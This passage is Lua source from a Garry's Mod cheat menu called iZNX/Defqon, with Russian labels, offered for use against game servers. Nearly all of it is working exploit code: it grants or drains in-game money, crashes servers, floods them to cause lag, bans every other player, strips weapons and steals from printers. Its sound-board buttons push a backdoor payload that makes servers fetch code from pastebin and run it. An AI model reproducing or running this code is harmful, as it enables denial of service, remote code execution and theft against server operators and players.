Info = "Garlic Seed",
Model = "models/props/eryk/seedbag.mdl",
Name = "Garlic",
Quality = 4,
Sell = iZNX.GetStored( "montant_argent1" ),
Type = "Seed"
}
)
net.WriteInt(1,16)
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Point Shop €", {
desc = "Exploit для денег, купим шлюх и кокс ;)",
severity = 3,
scan = function() return iZNX.ValidNetString( "ClickerAddToPoints" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent2" },
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("ClickerAddToPoints")
net.WriteInt(iZNX.GetStored( "montant_argent2" ), 32)
net.SendToServer()
end, },
},
} )
local PM = 1
local SK = 1
local BG = 1
local HN = 1
local TS = 1
local GL = 1
local LG = 1
iZNX.AddExploit( "Body Groups", {
desc = "Изменение скина",
severity = 1,
scan = function() return iZNX.ValidNetString( "bodyman_model_change" ) end,
functions = {
{ typ = "func", name = "Изменить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
PlayerModels = {0,1,2,3,4,5,6}
Torso = {0,1,2,3,4,5,6,7,8,9,10}
Legs = {0,1,2,3,4,5,6}
Hands = {0,1,2}
Glasses = {0,1}
Skins = {0,1,2,3,4,5,6,7,8,9,10}
PM = PM+1
TS = TS+1
LG = LG+1
HN = HN+1
GL = GL+1
SK = SK+1
if (PM>#PlayerModels) then PM=1 end
if (SK>#Skins) then SK=1 end
if (HN>#Hands) then HN=1 end
if (TS>#Torso) then TS=1 end
if (GL>#Glasses) then GL=1 end
if (LG>#Legs) then LG=1 end
iZNX.NetStart("bodyman_model_change")
net.WriteInt(PlayerModels[PM], 10 )
net.SendToServer()
iZNX.NetStart("bodygroups_change")
net.WriteTable( { 1, Torso[TS] } )
net.SendToServer()
iZNX.NetStart("bodygroups_change")
net.WriteTable( { 2, Legs[LG] } )
net.SendToServer()
iZNX.NetStart("bodygroups_change")
net.WriteTable( { 3, Hands[HN] } )
net.SendToServer()
iZNX.NetStart("bodygroups_change")
net.WriteTable( { 4, Glasses[GL] } )
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Hitman X €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "SendMoney" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent666" },
{ typ = "players", addr = "l_players_list" },
{ typ = "func", name = "Дать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_list", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
hook.Remove( "HUDPaint", "skhdsakjl")
iZNX.NetStart( "SendMoney" )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteString( -iZNX.GetStored( "montant_argent666" ) )
net.SendToServer()
end
end, },
{ typ = "func", name = "Забрать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
hook.Remove( "HUDPaint", "skhdsakjl")
local t = iZNX.GetStored( "l_players_list", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart( "SendMoney" )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteString( iZNX.GetStored( "montant_argent666" ) )
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "€ Bail Out €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "BailOut" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent16" },
{ typ = "players", addr = "l_player_liste" },
{ typ = "func", name = "Дать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_player_liste", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart( "BailOut" )
net.WriteEntity( LocalPlayer() )
net.WriteEntity( v )
net.WriteFloat( -iZNX.GetStored( "montant_argent16" ) )
net.SendToServer()
end
end, },
{ typ = "func", name = "Забрать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_player_liste", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart( "BailOut" )
net.WriteEntity( LocalPlayer() )
net.WriteEntity( v )
net.WriteFloat( iZNX.GetStored( "montant_argent16" ) )
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "€ Tow Truck €", {
desc = "Это перевести я не смог",
severity = 2,
scan = function() return iZNX.ValidNetString( "TOW_SubmitWarning" ) end,
functions = {
{ typ = "func", name = "Spawn МТП", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("TowTruck_CreateTowTruck")
net.SendToServer()
end, },
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent17" },
{ typ = "func", name = "Money Exploit", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(ents.GetAll()) do
iZNX.NetStart("TOW_SubmitWarning")
net.WriteString(LocalPlayer():SteamID())
net.WriteDouble(-iZNX.GetStored( "montant_argent17" ))
net.WriteEntity(v)
net.SendToServer()
iZNX.NetStart("TOW_PayTheFine")
net.WriteEntity(v)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "Fire Truck", {
desc = "Спавн Fire Truck",
severity = 1,
scan = function() return iZNX.ValidNetString( "FIRE_CreateFireTruck" ) end,
functions = {
{ typ = "func", name = "Заспавнить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("FIRE_CreateFireTruck")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Hit Menu €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "hitcomplete" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent18" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("hitcomplete")
net.WriteDouble(iZNX.GetStored( "montant_argent18" ))
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ HHH €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "hhh_request" ) end,
functions = {
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local plyhhh = LocalPlayer()
for k,v in pairs(player.GetAll()) do
dahater = v
end
if dahater != plyhhh then
local hitRequest = {}
hitRequest.hitman = plyhhh
hitRequest.requester = plyhhh
hitRequest.target = dahater
hitRequest.reward = -9999999
iZNX.NetStart( 'hhh_request' )
net.WriteTable( hitRequest )
net.SendToServer()
else
iZNX.ChatText( "В этой версии HHH невозможно использовать эксплойт !" )
end
end, },
},
} )
iZNX.AddExploit( "€ DaHit €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "DaHit" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent20" },
{ typ = "players", addr = "l_players_listdahit" },
{ typ = "func", name = "Выдать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listdahit", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
hook.Remove( "HUDPaint", "skhdsakjl")
iZNX.NetStart( "DaHit" )
net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteEntity( v )
net.SendToServer()
end
end, },
{ typ = "func", name = "Забрать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listdahit", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
hook.Remove( "HUDPaint", "skhdsakjl")
iZNX.NetStart( "DaHit" )
net.WriteFloat( iZNX.GetStored( "montant_argent20" ) )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteEntity( v )
net.SendToServer()
end
end, },
{ typ = "func", name = "Spam выдача", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_spamdahitprendre" ) then
iZNX.ChatText( "Spam запущен" )
timer.Create( "Defqon_exploit_spamdahitprendre", 1, 0, function()
local t = iZNX.GetStored( "l_players_listdahit", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
hook.Remove( "HUDPaint", "skhdsakjl")
iZNX.NetStart( "DaHit" )
net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteEntity( v )
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_spamdahitprendre" )
iZNX.ChatText( "Spam прекращен" )
end
end, },
{ typ = "func", name = "Spam забиранием", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_spamdahitenlever" ) then
iZNX.ChatText( "Spam запущен" )
timer.Create( "Defqon_exploit_spamdahitenlever", 1, 0, function()
local t = iZNX.GetStored( "l_players_listdahit", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
hook.Remove( "HUDPaint", "skhdsakjl")
iZNX.NetStart( "DaHit" )
net.WriteFloat( iZNX.GetStored( "montant_argent20" ) )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteEntity( v )
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_spamdahitenlever" )
iZNX.ChatText( "Spam прекращен" )
end
end, },
},
} )
iZNX.AddExploit( "Anti-Printer", {
desc = "Наносите постоянный ущерб принтерам по близости",
severity = 1,
scan = function() return iZNX.ValidNetString( "customprinter_get" ) end,
functions = {
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_printersmasher" ) then
iZNX.ChatText( "Anti-Printer запущен" )
timer.Create( "Defqon_exploit_printersmasher", 0, 0, function()
for k, v in pairs( ents.GetAll() ) do
if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then
iZNX.NetStart("customprinter_get")
net.WriteEntity(v)
net.WriteString("onoff")
net.SendToServer()
end
end
end)
else
timer.Remove( "Defqon_exploit_printersmasher" )
iZNX.ChatText( "Anti-Printer остановлен" )
end
end, },
},
} )
iZNX.AddExploit( "Crash the Server", {
desc = "Краш сервера",
severity = 3,
scan = function() return iZNX.ValidNetString( "textstickers_entdata" ) end,
functions = {
{ typ = "func", name = "Краш", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "textstickers_entdata" )
net.WriteUInt( 0xFFFFFFF, 32 )
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Free Ammunition", {
desc = "Дает вам боеприпасы для всего вашего оружия",
severity = 1,
scan = function() return iZNX.ValidNetString( "TCBBuyAmmo" ) end,
functions = {
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(GAMEMODE.AmmoTypes) do
iZNX.NetStart("TCBBuyAmmo")
net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "€ Advanced Money Printer €", {
desc = "Своровать все деньги из принтеров",
severity = 3,
scan = function() return iZNX.ValidNetString( "DataSend" ) end,
functions = {
{ typ = "func", name = "Своровать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k, v in pairs( ents.GetAll() ) do
if v:GetClass() == "adv_moneyprinter" then
iZNX.NetStart("DataSend")
net.WriteFloat(2)
net.WriteEntity(v)
net.WriteEntity(LocalPlayer())
net.SendToServer()
end
end
end, },
},
} )
iZNX.AddExploit( "gBan Ban everyone", {
desc = "Exploit забанит всех, кроме вас. Был найден в более старой версии gBan",
severity = 3,
scan = function() return iZNX.ValidNetString( "gBan.BanBuffer" ) end,
functions = {
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(player.GetAll()) do
if v != LocalPlayer() then
iZNX.NetStart( "gBan.BanBuffer" )
net.WriteBool( true )
net.WriteInt( 0, 32 )
net.WriteString( "Poutous everywhere" )
net.WriteString( v:SteamID() )
net.SendToServer()
end
end
end, },
},
} )
iZNX.AddExploit( "Lag Exploit #1", {
desc = "Создает лаги на сервере",
severity = 2,
scan = function() return iZNX.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end,
functions = {
{ typ = "func", name = "Лаги", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_lagsploit1" ) then
iZNX.ChatText( "Запускаем лаги" )
timer.Create( "Defqon_exploit_lagsploit1", 0.02, 0, function()
for k,v in pairs(player.GetAll()) do
iZNX.NetStart( "ATS_WARP_REMOVE_CLIENT" )
net.WriteEntity( v )
net.WriteString( "adminroom1" )
net.SendToServer()
iZNX.NetStart( "ATS_WARP_FROM_CLIENT" )
net.WriteEntity( v )
net.WriteString( "adminroom1" )
net.SendToServer()
iZNX.NetStart( "ATS_WARP_VIEWOWNER" )
net.WriteEntity( v )
net.WriteString( "adminroom1" )
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_lagsploit1" )
iZNX.ChatText( "Прекращаем лаги" )
end
end, },
},
} )
iZNX.AddExploit( "Console Spam", {
desc = "Засоряет консоль сообщениями Seized ",
severity = 1,
scan = function() return ULib end,
functions = {
{ typ = "func", name = "Спам", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_bigspames2" ) then
iZNX.ChatText( "Запускаем спам" )
timer.Create( "Defqon_exploit_bigspames2", 0, 0, function()
for i = 1, 200 do
LocalPlayer():ConCommand( "_u Seized by DefqonSploit xD " )
end
end)
else
timer.Remove( "Defqon_exploit_bigspames2" )
iZNX.ChatText( "Прекращаем спам" )
end
end, },
},
} )
iZNX.AddExploit( "Lag Exploit #2", {
desc = "Exploit для создания лагов на сервере",
severity = 1,
scan = function() return iZNX.ValidNetString( "Keypad" ) end,
functions = {
{ typ = "func", name = "Лаги", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_lagsploit4" ) then
iZNX.ChatText( "Запускаем лаги" )
timer.Create( "Defqon_exploit_lagsploit4", 0, 0, function()
for i = 1, 1000 do
iZNX.NetStart("Keypad")
net.WriteEntity(LocalPlayer())
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_lagsploit4" )
iZNX.ChatText( "Прекращаем лаги" )
end
end, },
},
} )
iZNX.AddExploit( "Lag Exploit #3", {
desc = "Сделать лаги на сервере, перемещая сервер на хост Африки",
severity = 2,
scan = function() return iZNX.ValidNetString( "CreateCase" ) end,
functions = {
{ typ = "func", name = "Лаги", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_lagsploit5" ) then
iZNX.ChatText( "Запускаем лаги" )
timer.Create( "Defqon_exploit_lagsploit5", 0.02, 0, function()
for i = 1, 300 do
iZNX.NetStart( "CreateCase" )
net.WriteString( "Bitch please" )
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_lagsploit5" )
iZNX.ChatText( "Прекращаем лаги" )
end
end, },
},
} )
iZNX.AddExploit( "Lag Exploit #4", {
desc = "Exploit для создания лагов на сервере",
severity = 2,
scan = function() return iZNX.ValidNetString( "rprotect_terminal_settings" ) end,
functions = {
{ typ = "func", name = "Тык", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_lagsploit6" ) then
iZNX.ChatText( "Запускаем лаги" )
timer.Create( "Defqon_exploit_lagsploit6", 0.02, 0, function()
for i = 1, 200 do
iZNX.NetStart( "rprotect_terminal_settings" )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_lagsploit6" )
iZNX.ChatText( "Прекращаем лаги" )
end
end, },
},
} )
iZNX.AddExploit( "Lag Exploit #5", {
desc = "Exploit для создания лагов на сервере",
severity = 2,
scan = function() return iZNX.ValidNetString( "StackGhost" ) end,
functions = {
{ typ = "func", name = "Лаги", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_lagsploit7" ) then
iZNX.ChatText( "Запускаем лаги" )
timer.Create( "Defqon_exploit_lagsploit7", 0.015, 0, function()
for i = 1, 8 do
for k,v in pairs( player.GetAll() ) do
iZNX.NetStart( "StackGhost" )
net.WriteInt(69,32)
net.SendToServer()
end
end
end)
else
timer.Remove( "Defqon_exploit_lagsploit7" )
iZNX.ChatText( "Прекращаем лаги" )
end
end, },
},
} )
iZNX.AddExploit( "Reanimation Exploit", {
desc = "Вы автоматически воскресаете после смерти",
severity = 2,
scan = function() return iZNX.ValidNetString( "RevivePlayer" ) end,
functions = {
{ typ = "func", name = "Бессмертие", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_zombie" ) then
iZNX.ChatText( "Ты бессмертен" )
timer.Create( "Defqon_exploit_zombie", 0.5, 0, function()
if !LocalPlayer():Alive() then
iZNX.NetStart("RevivePlayer")
net.WriteEntity(LocalPlayer())
net.SendToServer()
end
end)
else
timer.Remove( "Defqon_exploit_zombie" )
iZNX.ChatText( "Ты снова смертен!" )
end
end, },
},
} )
iZNX.AddExploit( "Armory Robbery", {
desc = "Возьмите оружие из арсенала полиции (вы должны быть рядом с ним) кулдаун 5 минут",
severity = 2,
scan = function() return iZNX.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
functions = {
{ typ = "func", name = "Взять оружие #1", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("ARMORY_RetrieveWeapon")
net.WriteString("weapon1")
net.SendToServer()
end, },
{ typ = "func", name = "Взять оружие #2", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("ARMORY_RetrieveWeapon")
net.WriteString("weapon2")
net.SendToServer()
end, },
{ typ = "func", name = "Взять оружие #3", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("ARMORY_RetrieveWeapon")
net.WriteString("weapon3")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Admin Stick | Door exploit", {
desc = "Открыть / Закрыть дверь / Удалить владельца (вы должны смотреть на дверь)",
severity = 3,
scan = function() return iZNX.ValidNetString( "fp_as_doorHandler" ) end,
functions = {
{ typ = "func", name = "Открыть", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("fp_as_doorHandler")
net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
net.WriteString("unlock")
net.SendToServer()
end, },
{ typ = "func", name = "Закрыть", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("fp_as_doorHandler")
net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
net.WriteString("lock")
net.SendToServer()
end, },
{ typ = "func", name = "Удалить владельца", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local door = LocalPlayer():GetEyeTrace().Entity
local doorOwner = door:getDoorData()["owner"]
iZNX.NetStart("fp_as_doorHandler")
net.WriteEntity(door)
net.WriteString("removeOwner")
net.WriteDouble(doorOwner)
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Defqon Report Spammer", {
desc = "Report спаммер",
severity = 1,
scan = function() return iZNX.ValidNetString( "TransferReport" ) end,
functions = {
{ typ = "func", name = "Зарепортить всех", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k, v in pairs( player.GetAll() ) do
iZNX.NetStart( "TransferReport" )
net.WriteString( v:SteamID() )
net.WriteString( "SERVER CODER BY Q" )
net.WriteString( "Bitch please" )
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "SAC Crash", {
desc = "Мгновенный краш сервера, использующего SAC анти-чит",
severity = 3,
scan = function() return iZNX.ValidNetString( "SimplicityAC_aysent" ) end,
functions = {
{ typ = "func", name = "Краш", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local tbl = {}
for i=1,400 do
tbl[i] = i
end
iZNX.NetStart("SimplicityAC_aysent")
net.WriteUInt(1, 8)
net.WriteUInt(4294967295, 32)
net.WriteTable(tbl)
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Server Crash", {
desc = "Нажмите эту кнопку, чтобы мгновенно крашнуть сервер, на 99.9% не работает",
severity = 3,
scan = function() return iZNX.ValidNetString( "pac_to_contraption" ) end,
functions = {
{ typ = "func", name = "Краш", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local tbl = {}
for i=1,1000000000 do
tbl[#tbl + 1] = i
end
iZNX.NetStart("pac_to_contraption")
net.WriteTable( tbl )
net.SendToServer()
end, },
},
} )
local function nukeweapon( ent )
if !ent:IsValid() then return end
if ent.LNextNuke and ent.LNextNuke > CurTime() then return end
iZNX.NetStart("properties")
net.WriteString("remove")
net.WriteEntity( ent )
net.SendToServer()
ent.LNextNuke = CurTime() + 0.5
end
local function nukeallweapons( tab )
for k, v in pairs( tab ) do
if !v:IsValid() then continue end
if v.LNextNuke and v.LNextNuke > CurTime() then continue end
iZNX.NetStart("properties")
net.WriteString("remove")
net.WriteEntity( v )
net.SendToServer()
end
end
iZNX.AddExploit( "Strip the weapons", {
desc = "Strip оружия у любого игрока.",
severity = 3,
scan = function() return iZNX.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end,
functions = {
{ typ = "string", name = "Тип оружия", default = "*", addr = "stripper_gunz" },
{ typ = "players", addr = "stripper_plyz" },
{ typ = "func", name = "Стрип", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "stripclub" ) then
iZNX.ChatText( "Strip запущен" )
timer.Create( "stripclub", 0.5, 0, function()
local t = iZNX.GetStored( "stripper_plyz", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
local gunz = v:GetWeapons()
local findstring = iZNX.GetStored( "stripper_gunz", "*" )
if findstring == "*" then nukeallweapons( gunz ) return end
local findstringtab = string.Explode( ", ", findstring )
for _, g in pairs( gunz ) do
for _, s in pairs( findstringtab ) do
if string.find( string.lower( g:GetClass() ), s ) then
nukeweapon( g )
end
end
end
end
end)
else
timer.Remove( "stripclub" )
iZNX.ChatText( "Strip остановлен" )
end
end, },
},
} )
------------------------------------------------------------------------------------------------------------------------------------------------
function iZNX.MakeFunctionButtonr( parent, x, y, btext, func, tooltip)
if !parent:IsValid() then return end
local TButton = vgui.Create( "DButton" )
TButton:SetParent( parent )
TButton:SetPos( x, y )
TButton:SetText( btext )
TButton:SetTextColor( Color(255, 0, 0, 255) ) -- Цвет текста на кнопках
TButton:SizeToContents()
TButton:SetTall( 24 )
if tooltip then TButton:SetToolTip( tooltip ) end
TButton.Paint = function( self, w, h )
surface.SetDrawColor( Color(60, 60, 60, 200) ) -- Цвет кнопок
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) ) -- Цвет верхней части кнопок
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) ) -- Цвет обводки кнопок
surface.DrawOutlinedRect( 0, 0, w, h )
end
TButton.DoClick = function()
func()
end
return TButton:GetWide(), TButton:GetTall()
end
function iZNX.MakeFunctionButtonb( parent, x, y, btext, func, tooltip)
if !parent:IsValid() then return end
local TButton = vgui.Create( "DButton" )
TButton:SetParent( parent )
TButton:SetPos( x, y )
TButton:SetText( btext )
TButton:SetTextColor( Color(9, 173, 181, 255) ) -- Цвет текста на кнопках
TButton:SizeToContents()
TButton:SetTall( 24 )
if tooltip then TButton:SetToolTip( tooltip ) end
TButton.Paint = function( self, w, h )
surface.SetDrawColor( Color(60, 60, 60, 200) ) -- Цвет кнопок
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) ) -- Цвет верхней части кнопок
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) ) -- Цвет обводки кнопок
surface.DrawOutlinedRect( 0, 0, w, h )
end
TButton.DoClick = function()
func()
end
return TButton:GetWide(), TButton:GetTall()
end
function iZNX.MakeFunctionButton( parent, x, y, btext, func, tooltip)
if !parent:IsValid() then return end
local TButton = vgui.Create( "DButton" )
TButton:SetParent( parent )
TButton:SetPos( x, y )
TButton:SetText( btext )
TButton:SetTextColor( Color(255, 255, 255, 255) ) -- Цвет текста на кнопках
TButton:SizeToContents()
TButton:SetTall( 24 )
if tooltip then TButton:SetToolTip( tooltip ) end
TButton.Paint = function( self, w, h )
surface.SetDrawColor( Color(60, 60, 60, 200) ) -- Цвет кнопок
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) ) -- Цвет верхней части кнопок
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) ) -- Цвет обводки кнопок
surface.DrawOutlinedRect( 0, 0, w, h )
end
TButton.DoClick = function()
func()
end
return TButton:GetWide(), TButton:GetTall()
end
-------------------------------------------------------------------------
function iZNX.SoundBoard( parent, x, y, btext )
if !parent:IsValid() then return end
local TButton = vgui.Create( "DButton" )
TButton:SetParent( parent )
TButton:SetPos( x, y )
TButton:SetText( btext )
TButton:SetTextColor( Color(255, 255, 255, 255) )
TButton:SizeToContents()
TButton:SetTall( 24 )
TButton.Paint = function( self, w, h )
surface.SetDrawColor( Color(100, 60, 60, 200) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) )
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.SetDrawColor( Color(110, 70, 70, 255) )
surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
end
TButton.DoClick = function()
iZNX.Sound()
end
return TButton:GetWide(), TButton:GetTall()
end
function iZNX.Sound()
if iZNX.HTXCommandeSelector and iZNX.HTXCommandeSelector:IsVisible() then iZNX.HTXCommandeSelector:Remove() end
iZNX.HTXCommandeSelector = vgui.Create("DFrame")
iZNX.HTXCommandeSelector:SetSize(240,350)
iZNX.HTXCommandeSelector:SetTitle("Воспроизведение Звуков")
iZNX.HTXCommandeSelector:SetPos( gui.MouseX(), gui.MouseY() )
iZNX.HTXCommandeSelector:MakePopup()
iZNX.HTXCommandeSelector.Paint = function( s, w, h )
if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end
surface.SetDrawColor( Color(30, 30, 30, 245) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(55, 55, 55, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
end
local DScrollPanel = vgui.Create( "DScrollPanel", iZNX.HTXCommandeSelector )
DScrollPanel:Dock( FILL )
local sound1 = vgui.Create("DButton", DScrollPanel)
sound1:SetSize( 208, 20 )
sound1:SetPos( 2, 0 )
sound1:SetText("Порно звуки")
sound1:SetTextColor(Color(255, 255, 255, 255))
sound1.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
sound1.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Порно звуки запущены" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/82tqzJy6\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local sound2 = vgui.Create("DButton", DScrollPanel)
sound2:SetSize( 208, 20 )
sound2:SetPos( 2, 25 )
sound2:SetText("Чё пацаны, аниме? OVER9000 BASS")
sound2:SetTextColor(Color(255, 255, 255, 255))
sound2.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
sound2.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Аниме? Ну ладно =D" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/9p4kgtmx\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local sound3 = vgui.Create("DButton", DScrollPanel)
sound3:SetSize( 208, 20 )
sound3:SetPos( 2, 50 )
sound3:SetText("Ор из Зеленого Слоника (-уши)")
sound3:SetTextColor(Color(255, 255, 255, 255))
sound3.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
sound3.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "АААААААААААААААААААААААААААААААААААА" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/mp3ZDJ1E\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
